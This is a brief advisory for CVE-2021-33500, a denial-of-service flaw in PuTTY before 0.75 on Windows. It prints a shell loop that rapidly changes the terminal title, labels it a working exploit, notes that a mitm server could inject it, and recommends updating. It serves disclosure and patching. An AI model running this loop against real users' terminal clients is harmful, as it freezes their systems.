CVSS 7.5 CVE-2021-33500


PuTTY before 0.75 on Windows allows remote servers to cause a denial of service (Windows GUI hang) by telling the PuTTY window to change its title repeatedly at high speed, which results in many SetWindowTextA or SetWindowTextW calls.

NOTE: the same attack methodology may affect some OS-level GUIs on Linux or other platforms for similar reasons.


A vulnerability in PuTTY < 0.75 freezes the entire, leading inevitably to a manual restart. This happens when executing a simple command to repeatedly change the terminals title.

Set window title from terminal:

$ PS1=''
$ echo -ne "\033]0; NEW_TITLE \007"

Thus, an working exploit would be:

$ PS1=''
$ while :
> do
> echo -ne "\033]0; NEW_TITLE${RANDOM}  \007"
> done

Using the injection functionality of the mitm Server, this exploit can be executed immediately when a client connects to the server via PuTTY.


Update PuTTY to version >= 0.75